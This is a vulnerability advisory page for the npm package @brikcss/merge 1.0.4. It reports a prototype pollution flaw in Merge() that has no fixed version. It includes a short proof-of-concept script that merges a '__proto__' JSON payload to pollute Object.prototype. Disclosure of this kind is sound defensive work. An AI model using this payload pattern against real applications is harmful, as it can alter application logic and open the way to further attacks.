@brikcss/merge/.../merge@1.0.4 vulnerabilities

Utility to perform a deep merge of a list of objects or arrays.

Direct Vulnerabilities

Known vulnerabilities in the @brikcss/merge package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • H
Prototype Pollution

@brikcss/merge is an Utility to perform a deep merge of a list of objects or arrays.

Affected versions of this package are vulnerable to Prototype Pollution via the Merge() function.

##PoC

// PoC.js
var merge = require("@brikcss/merge")

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for @brikcss/merge.

*